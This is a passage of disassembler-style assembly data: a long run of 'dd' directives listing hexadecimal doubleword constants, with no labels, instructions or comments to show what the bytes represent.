1BD447C2h, 7305D210h dd 404BCF60h, 304FEA95h, 0CCF7A3Eh, 0DBD684A6h, 417C12E4h dd 0A3136B37h, 9CB5AACDh, 362AAEF0h, 36AB454Bh, 80CEAA90h dd 4191417Ch, 47A78A6h, 13505BBh, 0A6C381C6h, 0B560DE64h dd 5481A83Fh, 976C93D8h, 0E5EFE751h, 0F77EEBFh, 7ECA75C2h dd 3A054F75h, 0CC11E4ADh, 38E505Eh, 6431A350h, 8301C30Fh dd 0AD2F48B1h, 7F106266h, 8BD44183h, 65D261F1h, 0EBB02BB3h dd 0EF7E9E28h, 0F8566969h, 0D85A12h, 32DF0468h, 0F35B1A5Fh dd 6E4650B6h, 6D424500h, 28AC981h, 0E48BA1FDh, 1673FC38h dd 92929984h, 5C552892h, 606863F2h, 64389895h, 0E351440h dd 2C801ACAh, 0D049ABA1h, 89F7C550h, 0D4B11327h, 27B262D9h dd 3D62457Ch, 0B7020965h, 5DD9436Dh, 0B8CC918Ah, 9764C2Dh dd 2A7C2594h, 0B1701D0h, 4AE52126h, 0CDEA0804h, 0DFF6008h dd 0CB076299h, 7FE90229h, 66076722h, 0DF825E71h, 403F73Dh dd 8F90ABEAh, 95CE34E9h, 3D28B947h, 82A90C97h, 77861EC4h dd 0C280D3DCh, 0F8FFBB93h, 0D8292FB4h, 90AD14FDh, 25657A68h dd 775A4Ah, 66DBCED5h, 83262493h, 68550047h, 625619B8h dd 691ED0B9h, 752063B0h, 0B16A4A85h, 0CEF47AFEh, 0BA2C1869h dd 215E9873h, 554D0A2Dh, 198AF7A0h, 894EFDD9h, 68829DB9h dd 31FE15E3h, 5A17A560h, 7F972Eh, 0E48EF601h, 0E9450B43h dd 3E495933h, 0B5F65424h, 0D9853FF3h, 0CBA5D1EDh, 6A7D178Dh dd 76F28FAAh, 949702ECh, 13F79DBAh, 3568A1C9h, 799D56C6h dd 2EFED91Dh, 257BEFB6h, 0B355E772h, 0D8D7DA47h, 0EAF8B763h dd 5C283800h, 0DA9E2D68h, 0EF585F48h, 12171754h, 0E0BA6745h dd 181FC41Bh, 0CB0142C5h, 4A9E0D56h, 5EEABB40h, 0C156069h dd 776572A5h, 0D697E91Ah dd 8DB5169h, 9224F163h, 83025426h, 0E03F7329h, 80A60435h dd 800E39B7h, 6ED045EFh, 1073BFC0h, 0D7FA8249h, 569A1D9h dd 71FFB447h, 2EC5E5E6h, 0FACE9522h, 56EF31A9h, 8955BD23h dd 0B06D1515h, 8006BE05h, 76168105h, 1DBA0855h, 0B284F9D9h dd 800E4771h, 0F403C11Bh, 15E96712h, 0D9BA9917h, 29AE591h dd 2E58D5BDh, 0C3D5E8B5h, 65808241h, 7925546Bh, 294BA2F6h dd 4492B2B9h, 0BB4E122Ah, 5F958828h, 7BAA4194h, 271F1E5Dh dd 704A137Ch, 37340660h, 0E9290AAEh, 898F35C7h, 0D28F81D9h dd 0D3DAC66h, 18CD1C13h, 26B2AC01h, 1883705Eh, 287F6248h dd 897599AAh, 0E2965B1Eh, 520243B4h, 420DD468h, 5A058FD6h dd 6F941697h, 0F67EC4B1h, 7FC3C54Eh, 50B862EBh, 87222A74h dd 487F3020h, 0CC405D5Fh, 2D470EE3h, 15410641h, 4405D001h dd 0CDE9C107h, 0E8313FF4h, 0DD3F69ABh, 495440BFh, 62484701h dd 0AA5F2423h, 1BE1046Fh, 3513DAA9h, 0EF9A40D0h, 3A6C1F1Ah dd 7D560CC0h, 682901E5h, 3408E0D7h, 0BF14240Ch, 595A10B0h dd 0B6C48E57h, 0DCB2AB29h, 741D680Bh, 51335Dh, 6F27D2A8h dd 9BF5761h, 7C754304h, 0AF2FA31h, 0A61E0896h, 4FFAC12h dd 1672E3CDh, 0ED2F0FA1h, 5FE9B006h, 68ECC2F6h, 335D6598h dd 728AFA65h, 0E1E395BCh, 2A46D4C9h, 939BB2A8h, 7B7398E1h dd 2F78DEADh, 3973F11Fh, 0E14B3CA8h, 2DCAF125h, 0BD555201h dd 6064127Dh, 312ED08h, 6AC1FCE9h, 0C23FF580h, 41095A94h dd 0C0391C13h, 81E1F45Eh, 99CC6C5Ah, 9CC89C01h, 0F397B156h dd 77E47A9Dh, 0B7F2B5EFh, 0F95B4426h, 3155AC3h, 6194F531h dd 18D9AE4Ah, 0F490ADBFh, 0BDAB88B3h, 5F97D720h, 116B1AAEh dd 300B7C4Dh, 2480512Ch, 0B7AC2218h, 9012675Eh, 0F7C3AF82h dd 87A01EF2h, 6926BC33h, 0C0257A61h, 39A4B884h, 2D1E4D38h dd 0D893C912h, 90572F6h, 0F835EF7h, 0C01683AEh, 25576F0Dh dd 0BA30301Ch, 9891EF6Bh, 65199DA6h, 9E8ED73h, 0FC0D5BA9h dd 401B0AA3h, 6B129A32h, 0E515C4D1h, 0C03AC104h, 81EE136Ch dd 9E4F718h, 875E1CF5h, 8D997CDh, 5D25083Fh, 0FA9549CCh dd 0F65F4A1Fh, 27EE5851h, 5E9E9C22h, 580BF0CBh, 0E4115195h dd 0B0D0118h, 40DEC357h, 285D8D31h, 2EC541Bh, 79CD4FE6h dd 0F2C1E821h, 0FDE6D2Dh, 0E039B2F6h, 895DEF29h, 0C4E92AFAh dd 830C978Dh, 3924D3E6h, 0F607FD1Ch, 43767590h, 5DDF050Ch dd 1312170h, 5FF909C3h, 0FF402183h, 777EBB98h, 5CC4684Ah dd 0B5DF37B8h, 9484412h, 95B8305Fh, 25690079h, 0E901E883h dd 0DF9916D1h, 97EFAE03h, 0DFD0DA2Ch, 680468D9h, 0BCBC2556h dd 7A161BC3h, 20E9C199h, 92B2C380h, 80772875h, 83069160h dd 0A0CC0458h, 915DF1F1h, 1C222C71h, 0C0722F6Ch, 5A137E13h dd 7049831Eh, 7F042267h, 20E8D0F5h, 577BBD09h, 64481A27h dd 4C52FCB9h, 4931B6Ch, 129F9A1Fh, 0EBD452AEh, 0D83149E1h dd 2449CAE4h, 479A7C92h, 0BD01E812h, 0EB7781Ah, 2050330h dd 0E9764F2Bh, 0B6C5CC3Dh, 66DDF604h, 0E6F55B92h, 86812E7h dd 0B1A450Dh, 4572BEC9h, 7F094051h, 1121250Eh, 0F5683AC0h dd 69EB76BDh, 0CD4B2564h, 4AA7235h, 0E4CC6h, 77F9CBFh dd 56ADF455h, 3B6C36DCh, 6094C2E0h, 4A278C96h, 13962EC1h dd 92425670h, 8AC19FC3h, 63166FE7h, 2BF829FBh, 31D4E304h dd 0AE305905h, 0A36BF8E1h, 48C58C94h, 31481C91h, 0D7C89EC1h dd 87CCA0F4h, 1B2DF97h, 6F25726Eh, 4669A038h, 9897C4D6h dd 29C54078h, 0F5257E9Ch, 0E987288Ch, 0F2C01326h, 388A3CBFh dd 0F3FDCA5Bh, 0DBF3BEE4h, 2EA7E909h, 6FA04990h, 0F654CEBFh dd 0FD735EC9h, 0B4ABB413h, 1109BE21h, 11BB377h, 0C935A5F1h dd 4EF26430h, 57CDC15Eh, 7A4060EFh, 39809D40h, 0F49DA0C4h dd 0CAEC811Dh, 0CA376866h, 0B524F652h, 0FC1871DBh, 3034EE85h dd 0F6529851h, 0A2EEF330h, 84FDF195h, 0EF91ECE9h, 0DDD7F849h dd 2B55D731h, 3AF17DAAh, 26E995B0h, 0AF93C96Ch, 5D3AB8FDh dd 0DAF99D7Dh, 693FBA81h, 0C53E7AEAh, 0A5B1A81Eh, 3CAFCABBh dd 0CF8D5B0Eh, 0CBF1BD6Fh, 88484C54h, 542D681Fh, 2FE96216h dd 8820C39Ch, 7CBD380Dh, 0DCA8BBA1h, 0E2C11D58h, 52832EB4h dd 763D0C82h, 60DE2869h, 0FFDD5A0Bh, 36150767h, 0F6977DBFh dd 0A19E9629h, 0C50801D6h, 0F20D240Ch, 778CA402h, 0D6D701AEh dd 85EF8130h, 220EE657h, 0C1D195Eh, 0D441B456h, 51018BDCh dd 20B82BB9h, 4C8EA84Ah, 0FEFD7F8Fh, 0F2505C5Fh, 14EF4949h dd 0E8829797h, 0E3E5DD6Dh, 7D4C0189h, 5F997F65h, 0EA05F49Eh dd 80341604h, 12D8FD0Fh, 9F90F7C5h, 0EA71A920h, 83BA4E31h dd 0DAE3CA8Fh, 665D4D07h, 7739E801h, 2A24E82h, 2FC850E1h dd 410E07C8h, 0BA146F8Ch, 0B0A14AE2h, 8168B77Eh, 0CDB6851h dd 0D2F9BD2Bh, 5148CBABh, 0E62E3585h, 6A2F8FE0h, 3E860194h dd 7D2C8A0Eh, 0C74724F0h, 5DF681B6h, 0AE8C805Ch, 0DB259896h dd 92EF28DFh, 81EB1250h, 94C4AAC3h, 0F47FACAEh, 408F59EEh dd 29A56A08h, 0E112AC67h, 8B4CCC70h, 0EE936665h, 20FEA1AFh dd 0AFB223EEh, 647BC4C7h, 5D801204h, 60317630h, 0A9EA3010h dd 0C99DB58Bh, 79CEB496h, 26BB420Bh, 2259BA99h, 0A16A10F3h dd 0EFEB5870h, 9DB5329h, 64FD73FAh, 0E8D295CAh, 16F76812h dd 0E98C68AAh, 770B0225h, 20F3E4B9h, 6CBF8AE1h, 0E69E175Fh dd 56D473FEh, 61EA48E2h, 0EEA02DDh, 2DC108AEh, 78B60BF7h dd 0E9C897B4h, 0DB5A0AE9h, 0DF29D323h, 7C14C94Eh, 0D96542ADh dd 0D32B800h, 312E17BAh, 0F52207C5h, 295E827Dh, 43A2A2F7h dd 35BE011Bh, 0AA02A07h, 342017CEh, 0F80CFF41h, 9D5B201Ch dd 0BD6213F1h, 25BB0014h, 0CA25E464h, 5A405631h, 559192F7h dd 7FE904F3h, 0E15AC779h, 1C69BD4h, 5208AF68h, 0A5561ACBh dd 52B0562Dh, 3B49B0F7h, 0C8FE5ABCh, 2B185937h, 0C2111224h dd 0BC80137h, 0E9D12992h, 6EFECD40h, 2C8402EDh, 15014D9h dd 94B3CFD6h, 0A26BF731h, 0F901C0EEh, 9C2563E9h, 0AB1B8CB4h dd 0F0BC63Fh, 0FF6D9C11h, 4086228h, 0B934875Dh, 7F50C9F5h dd 0DCBD1C6Eh, 0BB5307D1h, 15DF02ECh, 435A29D8h, 72924F91h dd 51890172h, 0FF8D5804h, 481028CFh, 12BF3A47h, 0BE053D54h dd 0A2AB6C2Dh, 0C5ED4F29h, 0CEF70125h, 976EB018h, 0C18721D4h dd 80B08207h, 916DF168h, 5AFDA0B0h, 4FE7E8CAh, 0BEE912BAh dd 0C004B5E1h, 0F73BF7F1h, 0A6E982D2h, 0C248F9D2h, 2E0FEF60h dd 880E12D1h, 0C03F6180h, 837C03EDh, 737E09Eh, 887D0828h dd 4F96E9DCh, 0F7CB4E20h, 61493903h, 67F1D7ABh, 6EA05757h dd 0C1669C05h, 2D161B1Fh, 7396001Bh, 3E684D65h, 0E7189F4Bh dd 0CF7A0B47h, 0EEA9AED6h, 23D70C60h, 1752860h, 880BBB0h dd 0D04DF9E9h, 59EC8466h, 0C807EDADh, 0F7AB050h, 85A5886h dd 748724CBh, 94FF25C4h, 5788C186h, 7CAFE8E9h, 0DAADA268h dd 0C9FB4EFBh, 7D1E2023h, 132D4540h, 0E1D552D8h, 1321F002h dd 0DD7992BFh, 0DC971D16h, 61E9E14Ch, 0E17F81E0h, 6CC062CFh dd 7CC19D40h, 0AF0F5BC8h, 0E529844Fh, 0C4007316h, 25589F26h dd 918F25E9h, 808129DDh, 657956EDh, 0D6E5ED13h, 9007A3C0h dd 16FB4EBCh, 0E292AC8Ah, 0B62C10BBh, 8CF3FF82h, 685A01E9h dd 9F3C0F6Fh, 3FCDC4h, 0AA0E6705h, 762D077Ah, 0A97B1A6Bh dd 0D0702B5Dh, 0BE8420D2h dd 0C628555Eh, 318537BBh, 0E9DD813Eh, 68092AA0h, 5D0EB25Ah dd 0E98B9715h, 480DA37h, 5125E4EAh, 0B577C56Bh, 0F4812A90h dd 0CA2EF463h, 44F305F6h, 28C32ADCh, 620D4CF7h, 55A0BF18h dd 5B1741EEh, 4C097E52h, 60447D01h, 231AF602h, 58314108h dd 0BEC74A24h, 0A2E95102h, 0D01A4A7Ch, 0F1FC9DE3h, 2FB8BC8Ah dd 0DF056B27h, 577CE269h, 84E9907Eh, 0D6D5FD4Bh, 0F75C0DBAh dd 702CE209h, 5BB40B7h, 0B2E13B8h, 0DD3D441Ch, 5DEE0EACh dd 7DE83568h, 8980174Bh, 271B32B9h, 9141637Dh, 3A3B61B0h dd 0B52ECEA0h, 0C425D967h, 617ED7Fh, 681468B5h, 0D4F47D53h dd 0B35E104Eh, 92EE2C1Ch, 141E98A0h, 6949549Fh, 25BFB4FDh dd 14460BE6h, 0F07EB01h, 0D6F7463Eh, 1DC1E22Ah, 1613D218h dd 0C84F40EAh, 19685653h, 0D5B2E7Fh, 5B276680h, 32746046h dd 10C03DA6h, 0BE43D097h, 6FC30F68h, 2D9901C2h, 9F27FE5Fh dd 0A1F12FCDh, 1C8F6884h, 831768FFh, 75D9D582h, 611613EAh dd 0F444C8AEh, 9B3085Fh, 0A4184E25h, 5F25EAE9h, 2536EFFh dd 10CC3884h, 0F6EA23E9h, 2E258277h, 0D30102C8h, 4D8D717Fh dd 5433F8E6h, 0A1EA0CD2h, 0BBC37038h, 0D73DE29Fh, 680536CFh dd 0F9360154h, 41BD9099h, 4EF22E0Eh, 2530A297h, 7030560Ch dd 5680A4DAh, 18E00FBEh, 0C5642216h, 2555B9C3h, 5FAD8795h dd 79B5AEC2h, 8C304BEEh, 98954945h, 0D2CDFEF5h, 0D880FE10h dd 98197205h, 3EAE7AAAh, 0F5034C29h, 795B619Ah, 1C1EBC2h dd 0E3D007D5h, 7B0F2719h, 95F2FA34h, 82C965F9h, 0EC8C533Fh dd 3F0E012Ah, 0EEC13ED6h, 9506A003h, 51F6C225h, 3A76CD07h dd 1A7867F3h, 11FEC954h, 16067A63h, 1B486C90h, 93DCB740h dd 888556FAh, 59047811h, 8385FE01h, 0EB9CD4EBh, 0E8B52FACh dd 0E9C6828Eh, 9F6DFEE1h, 4F19C0BBh, 0F0F38172h, 66E6101h dd 38E9D931h, 683CC438h, 4CD33231h, 89D26810h, 384F7EBFh dd 759C5227h, 497F34B7h, 135050A5h, 50091E49h, 3FF3D81Ah dd 681366ACh, 0D7D47528h, 6E524681h, 0B63A33Bh, 45EC805h dd 988129D8h, 0B800D834h, 0F93130E7h, 14F1360Dh, 0CDF28100h dd 3CB95618h, 7FADD60Ch, 25C2971Ah, 62B4F95Bh, 0D09126C2h dd 0A849BDBEh, 0EA99F3C2h, 0E1068730h, 0F2B0DAF6h, 0EF5266CEh dd 5ABFE4BAh, 801BE299h, 0AA003E27h, 26738BDh, 5A7BB036h dd 2AD6D305h, 63F2FF84h, 0F836A5A4h, 765AE952h, 0CEFAFF16h dd 2D294C40h, 6FB454FCh, 8AB2DB3Fh, 0DF84035h, 9B857794h dd 4F2E482h, 0BE7AA031h, 0C0716609h, 0E97A213Bh, 4387F0FDh dd 977A7DBAh, 0C287B37Ch, 86D6B4Ah, 3C99ED2Eh, 0B529C056h dd 41647E79h, 42D44C80h, 0D9794857h, 8928B81Dh, 53004361h dd 8A2FDE49h, 9E044BDh, 12526859h, 563C55Fh, 0FE66B2E9h dd 0AAD2F5E2h, 5BF3B39Ch, 9300E35Fh, 0ECAA9E64h, 5EF7A113h dd 92C9A23Eh, 274F67A4h, 24D1FEB1h, 0A4583D12h, 3D6721EAh dd 8A72BDDh, 6166D061h, 9610E0F9h, 68875DA0h, 5C050E2Dh dd 0D18BE9D7h, 1CABE863h, 0F1E06741h, 13C24A7h, 0C2B3F552h dd 0D62C99E9h, 0CC06B1EAh, 4A0C86BDh, 4B5AE4C0h, 0A497EC57h dd 2C7E85B8h, 0A51156CBh, 27C555h, 12786857h, 499A47BEh dd 6BC6897h, 0F7799DF5h, 0B6FC488h, 0CA80EED1h, 46AC3738h dd 737FC4B0h, 0ABFDEAEBh, 63C9FD42h, 0CFE9CE91h, 3FE17BC3h dd 292DB56Ch, 84BC1AD7h, 86B122E1h, 0F522A92Eh, 5B4577A0h dd 0F769FA84h, 0E928303Fh, 9B9FB168h, 63A2FFB8h, 9B88567Eh dd 4DD9E12Dh, 0FD403AB0h, 1CFACA3Bh, 8BD94E89h, 9A0504F3h dd 82EE9058h, 78B2DC4h, 55022945h, 0D96C3368h, 0A25797D8h dd 6A72C45Bh, 0EC44E905h, 16BE03FCh, 0F9217856h, 302A3FAFh dd 0C03372E9h, 29E4675Bh, 2BB402F7h, 0FE09A406h, 5279FE55h dd 0B920587Ah, 68C68136h, 0CC265ECDh, 0FD677F00h, 5DE94B66h dd 0F5A92260h, 58C5C4E1h, 4200FE39h, 6874A869h, 18950406h dd 165CDDB8h, 0BB215DF5h, 0F707E642h, 0E6747DD9h, 0C8B89882h dd 30C8D57Fh, 58092DE8h, 847E970Fh, 29ABFCBCh, 6ACDF02Eh dd 0FDA58BDDh, 660CD18Ch, 7B801ECh, 45651627h, 0DC7D0C14h dd 0E118C217h, 0C50CF101h, 1E761349h, 0ABC4BB71h, 94EF0813h dd 7D9B82E2h, 1722D9FDh, 0EFFE5219h, 0CD1D4E3h, 172248D8h dd 7F3E7BDh, 0B49D868h, 2F41455Dh, 92D6AB4Ah, 0E9FE49A5h dd 7CD67DFAh, 0D4BF57C0h, 47F60C01h, 5504DFF7h, 0F04EE92Fh dd 72DC95F8h, 0E9890953h, 7DA7AF8Ah, 0F89F72E0h, 0E3A8A9FEh dd 9CD609BFh, 51DB377h, 40469EE9h, 5DBBCAB4h, 47B06C12h dd 9A1A953h, 4630B068h, 428E2DBFh, 7620A866h, 3BBE0E7Eh dd 77EF1Dh, 0B79EBA9Dh, 2931E987h, 5BDE5179h, 8C6EBD3Fh dd 80274257h, 4616FEBBh, 9D092F25h, 6E818051h, 464DD0Dh dd 0CE6D95B9h, 0C9218017h, 38FB761Bh, 8C12824h, 3364D7FAh dd 7E80EED5h, 0A0215C64h, 81D50C8Ch, 80783949h, 6B0942AAh dd 0B0F092E9h, 37BB4FCEh, 0AEDFD2DFh, 2D48657Fh, 0C84CA7FCh dd 377F1268h, 31040B15h, 0E9518568h, 95477430h, 0BEB041F6h dd 1F6E262Ah, 0B213D253h, 776093E0h, 48ADDBE9h, 0C9B293FEh dd 0EEB25200h, 3AF8702Ch, 0A14C04D0h, 5A809410h, 63835BF0h dd 50B62DEFh, 0CCE1CEE9h, 51120FEEh, 81EBF188h, 28C0E5C9h dd 0B71EC4AEh, 0ECCB0113h, 0EC7F7C2Ch, 0F892CF61h, 0F92011B8h dd 751A9DDAh, 0D9599A06h, 0F81ED890h, 0D4C9D573h, 63FEFEE3h dd 4D7EEC4Eh, 5A95505Dh, 0D8F7EBC1h, 0DC7864E9h, 0B02592Ch dd 0B690F10Ah, 0ABA41631h, 105049FCh, 0D94005B6h, 8828012Ch dd 0B35358C5h, 8DDCC17Eh, 42E2DE64h, 2928D4C1h, 0A53F416h dd 8C708CEh, 290BDD15h, 40F70938h, 67C380CCh, 6620067Ch dd 0E02A2AEBh, 0C51DCBC7h, 9DE1506h, 0A42D22E6h, 98FA5FF5h dd 0A9404585h, 511C00B3h, 2FB0E1B5h, 280B6C2Ch, 70DDE9E8h dd 9EFF9792h, 84E918CBh, 0BE5E24BCh, 82B4409h, 27585CFBh dd 2B400EE2h, 0F20F0B65h, 0D2E7E92Ah, 936535BBh, 6940476Eh dd 3CFA96CDh, 275D493Eh, 0CEBC088Ch, 690D65ADh, 0EC838CF7h dd 0CB6FEA81h, 6E4545AAh, 77705F87h, 0C2E3C1BFh, 39703A65h dd 58014063h, 85E7801Ch, 5112C7C0h, 3EC04BB1h, 1E7302E1h dd 0FC1FEEAh, 0C31C03E9h, 59CF3088h, 5005340Fh, 0E4007FB4h dd 0E9D4F651h, 7F38ED89h, 0A439BAA4h, 4185EC74h, 93E7475Fh dd 3358C831h, 0B5BF2283h, 0FC95F9D0h, 0E5E1B46h, 1554C39Ch dd 8EB1F28h, 8552D19Eh, 89FC6F5Ah, 1B89BE38h, 0C9E22BA1h dd 0BD1444FDh, 2505272h, 0CBB0EF9Eh, 73EBF84Bh, 634A5F04h dd 0AC4F04ECh, 0F49FC2C8h, 765F5FEh, 0C95BD98Bh, 3B1745F8h dd 64024380h, 0C12E2394h, 0CF014CEFh, 58077CACh, 29C3C282h dd 60F5AE3Dh, 80646D37h, 0D5EED128h, 68049FB6h, 971E636Fh dd 287B925h, 0A02841F3h, 0BC22F72Bh, 0E9184B6Ch, 0E12AB795h dd 0E6ED08DFh, 8554530Bh, 50B2762Ch, 0C41D9585h, 0BCEDAF0Bh dd 51019ED0h, 0E925084Ah, 71D4DE10h, 9CD6ECE9h, 0B495A50Fh dd 0ACAE985h, 1DD2089h, 12D24F60h, 0E6AD472h, 868BBF2Ch dd 6A8420Eh, 4FA12C0Eh, 0FAA6258Dh, 744867EBh, 590B1228h dd 0E1355C08h, 2E2057F7h, 0B26F9AD3h, 4FFA5C08h, 0A995F7CCh dd 9D55F340h, 55FA2E54h, 0E9C13559h, 522A501Dh, 57B1EB51h dd 5C0E2230h, 0C4B4CFB9h dd 0E90B640Ah, 0EB21956h, 0E53EEF1Dh, 2C46ED21h, 2BAB4F2Ch dd 29EA4AD9h, 68188750h, 82DB2CBFh, 8BAB2552h, 0A0DD94EEh dd 0B7387223h, 3059CEB1h, 27136076h, 0DF04169Eh, 0C740E599h dd 38233AFAh, 0AA05F9Fh, 9902DA9Eh, 0D20DFA97h, 44B0FB08h dd 0F1B83950h, 95FA682h, 0C24258C7h, 5B5836A9h, 0C208A2BCh dd 0BA520048h, 39A64B9Dh, 67F8314Fh, 15F160E7h, 1F0D5568h dd 3A752CE9h, 82A95730h, 100B7FFBh, 593548DDh, 1AC2F19h dd 0E94D90FFh, 0E76B9D7Bh, 0D8410EDEh, 4BEFAC2Bh, 0CD4A6BEDh dd 0D21960E6h, 0C1AA8483h, 9A30F699h, 555EFB37h, 57270572h dd 0A8D24642h, 95CA683Eh, 2ACF451h, 9BAC070Bh, 0C280C19Ch dd 0D6442875h, 7C5EA8ABh, 2811F130h, 693A9EBBh, 455544E1h dd 257E2D1Ch, 25773C05h, 4C1BAC01h, 0C0204DA0h, 652816A6h dd 0F784EB19h, 0F75A0801h, 248049D9h, 0ECFFC568h, 8298CA09h dd 4F8AF540h, 8D71E504h, 0A7D8A6B6h, 9BA414D9h, 5F3F0166h dd 38935FBh, 0A493FB40h, 4B08CDBEh, 9E522EC3h, 4E556201h dd 0E6F84634h, 61303CC7h, 470A5D5Ch, 0B8E4010h, 0FFF46978h dd 0CA0DEC5h, 4F1460E8h, 1147D850h, 0DFBF8D00h, 37ACE145h dd 7329001Bh, 0B02FC089h, 0CDA1179Fh, 0B51D7EF1h, 0BF0C64D0h dd 570A18E4h, 0D6B70F00h, 80198B5Eh, 0E08F60EAh, 234B7A34h dd 49BE660Ch, 91F14E0h, 0F55DA44Ah, 4C7A0200h, 53EE7818h dd 13098490h, 310976h, 890F01B5h, 82ABD903h, 76C440C7h dd 1D1EBB7Bh, 92B3CE80h, 0E8131872h, 9F382F0Bh, 1C502F58h dd 3380FF40h, 8B605C19h, 1893A1CAh, 250A0C4h, 0F4F5E61h dd 76489F85h, 5A00D68Bh, 0E0A5D3DAh, 0FCC4F435h, 8ABB1D27h dd 0A080BBADh, 0C5DE33ECh, 0A47CD193h, 0DA83D900h, 0DCCFE1A2h dd 2FC107C8h, 0C2ADF6BBh, 49CF908h, 0E1755501h, 1FB044C6h dd 812B189Eh, 3F8C9658h, 8442007h, 62E48E00h, 0AB44EFF0h dd 0AEFB0627h, 2956952Ch, 59111B42h, 8B72165h, 2F9054A2h dd 48670584h, 52E94243h, 0D000512Fh, 0AF197291h, 5E904E76h dd 0EF00BD7Bh, 59B36596h, 9B2ECh, 60D8DB12h, 0B425E383h dd 0C8B8AC00h, 22DE827Eh, 0CA66081h, 0D4B5A7D0h, 0E4096600h dd 0AFAC23D8h, 28AD1EBEh, 0FEFDC0F1h, 1AF8A2A3h, 1FE17101h dd 99DF2632h, 3FE4CCh, 8A1772D6h, 759A9185h, 0CE00FA78h dd 0E407F803h, 24F437h, 0F69F6B6Eh, 0B7C86941h, 3C905F00h dd 9B182CA0h, 7BE6715Ah, 64D139CEh, 8BFE9100h, 3710C4F7h dd 65F2CC00h, 0D555DBDFh, 9F2E01D8h, 0BA8405FDh, 9633DC87h dd 0EC435100h, 5CB05DCDh, 6FEAC0h, 973BF464h, 62C87C45h dd 0B179C500h, 5D03FD02h, 221D1FAEh, 2868C0FAh, 8D9D6B6Ch dd 8A486673h, 4AD00000h, 0EDE63F25h, 77DBF279h, 457398h dd 2C0164D8h, 5E4A36ACh, 7F377E00h, 4843DECDh, 3915009Ah dd 42DDC286h, 1300984Ch, 0A87FE24Fh, 30B3F864h, 0EEF074A3h dd 1503B57Ah, 0BA5FF291h, 0B0F78828h, 0C1F2FCh, 3E780926h dd 207DA39h, 8C08E404h, 0CF80A412h, 0C2C08Fh, 0F6AF0EB3h dd 0F92689B7h, 11A6ED00h, 0E6732C2Eh, 3D2818F1h, 217C69E0h dd 356C300h, 0EA04558Ch, 3F59125Bh, 0FB7800A7h, 44E11AC9h dd 8FE66E00h, 0F710C5F1h, 0EB1D004Eh, 11DAF4B2h, 0B00090FAh dd 6D1B0B18h, 0E240E5DCh, 160A0117h, 46FFC96Ah, 9D9FD05Ah dd 289065FEh, 95DBC000h, 348D14E3h, 0BEFA0083h, 0C43B9E4Bh dd 891EC369h, 9D4046D7h, 5B291941h, 0DAF20063h, 34CB5C4Fh dd 4607D51Fh, 1E4973A8h, 903E2E00h, 264C00E3h, 0EA928039h dd 9614885Eh, 0F44705h, 9C362E35h, 8DAE4Fh, 97ADC73Dh dd 0C4FBB67Eh, 5D0032E0h, 399370CCh, 12347459h, 40F62E9Eh dd 0FDCAA6FCh, 0DD005848h, 3B77CE9Fh, 7784BF67h, 0C52F007Ch dd 54FB8113h, 531CFC3Eh, 5580D9ECh, 0B7145D46h, 0A3B097h dd 807EB016h, 188C13DCh, 0ABD97000h, 893DC81Bh, 0C27703DBh dd 0B0F5F6B7h, 51F041E0h, 87AA1E00h, 9955BAFEh, 0DF6F00E3h dd 0B1175885h, 0FA0148FCh, 51309A96h, 5430F329h, 0E0E6FB2Ah dd 215A83h, 0C1681EE7h, 0CC1419A3h, 910C7874h, 99F30181h dd 0E74800F8h, 9C63F5Eh, 0B048158Ah, 392703ECh, 0F402FE4Fh dd 77DCCC80h, 158400E9h, 6106D282h, 0BA003FDFh, 0BE3A0E31h dd 0DCED5Bh, 3CCDA812h, 0D8080563h, 0A3E73803h, 0C84B79D6h dd 1E900CA2h, 0BBB33CECh, 0F25F4980h, 9C69B538h, 1847E800h dd 94A6190Fh, 445B01D1h, 0DD9BC290h, 10C44088h, 7F13E50Bh dd 5B022DA6h, 80FF591Bh, 0C1A31988h, 0F6E26Ch, 0F7BE1E8Ah dd 829F0DBFh, 565A0800h, 9E02C6F9h, 580C0081h, 0BF220F54h dd 0C0906667h, 26346310h, 11008C94h, 9C899E24h, 0F7001E7Eh dd 0D92CBC84h, 0BF191Ah, 7841C1A6h, 0DFFA708Ch, 0EDF3E606h dd 4810CA1Fh, 0AA00001Ah, 0A6943021h, 9001E624h, 0FCBD8B71h dd 2C20AF0Dh, 64F8919Ah, 0B0E680A7h, 4377117Bh, 0FB0B4100h dd 0E6EB8078h, 5CB81Dh, 3D8F5F6Ch, 992BB5E8h, 921C2A00h dd 47D2A9A5h, 83E90F27h, 71A0902Fh, 8E321E45h, 28E17300h dd 342767BAh, 0A8FA4855h, 61D38500h, 339E65AAh, 0EC73FC00h dd 5FC67CF7h, 0D630074Dh, 0CFA763CEh, 909C8D20h, 1100CAFFh dd 0A921BCA8h, 7DE26AFBh, 23BF3027h, 0F7700FE8h, 0CC594490h dd 0CFD98018h, 0E41446h, 390CA957h, 38E5FD7Eh, 99E20400h dd 7C2AB56Dh, 3A7100CBh, 0D17552FCh, 542C9D06h, 410004C0h dd 0B1C670D7h, 0CB9E5C59h, 0C73AB63Bh, 9C774D80h, 0C4F03AF6h dd 74F97300h, 0C3BC9BFEh, 0A715002Dh, 0CCF5055Eh, 6900CF1Ah dd 0FFC596F7h, 1CF0BDh, 0CAEC97BCh, 169CA3DDh, 70B7DE30h dd 0FF05DCBh, 4C0B3464h, 0D72401D7h, 81D09B35h, 1C29D431h dd 3BE11B64h, 19C8CF0h, 5D854D0Dh, 47F5128Ah, 49FF2084h dd 0D200CE43h, 0F1EFA468h, 89850Bh, 0F06D5311h, 0CF860AB8h dd 377BB612h, 0C02D600h, 765691Ah, 39A2DE3Ah, 13630074h dd 0F80043BEh, 0FF15820Dh, 12AE44h, 7ED2E63Eh, 93E360B1h dd 5B03EC92h, 0FD51E0A2h, 0D4A1C85Eh, 0C82500B6h, 854F466Ah dd 5F002B13h, 0D94AB121h, 0CB5EAEh, 95AA14D6h, 0E35CB478h dd 0BF018A3Ah, 0DAE90329h, 9890518Eh, 0B12A27Bh, 0AA8B84B5h dd 0A4221C01h, 6C72A831h, 36DD171Ch, 820A6080h, 2DE11D6Ah dd 0F0FEC33Ch, 0D840BE13h, 0CAC7CC6h, 31EF0097h, 0F4B4D0B0h dd 0EA7F9E6Ah, 0AAD24D00h, 89F23CFEh, 1C6258E0h, 0F877EC00h dd 0A0165AE3h, 57369D00h, 0B2C88C59h, 144300E0h, 0C974CBD4h dd 24B08839h, 54DB3500h, 26E4B0FEh, 598F09Bh, 7EF47F23h dd 6A940FBEh, 3E3C65E3h, 74528CE0h, 0F807D000h, 90D176EFh dd 43B75D7h, 63EE9196h, 539C807Ch, 6500A91Fh, 2FFA56BCh dd 0C16D1EEAh, 2A04B270h, 5820600Ch, 0EB805720h, 0F8CD4FC8h dd 3040C0C5h, 508F25F7h, 7F029003h, 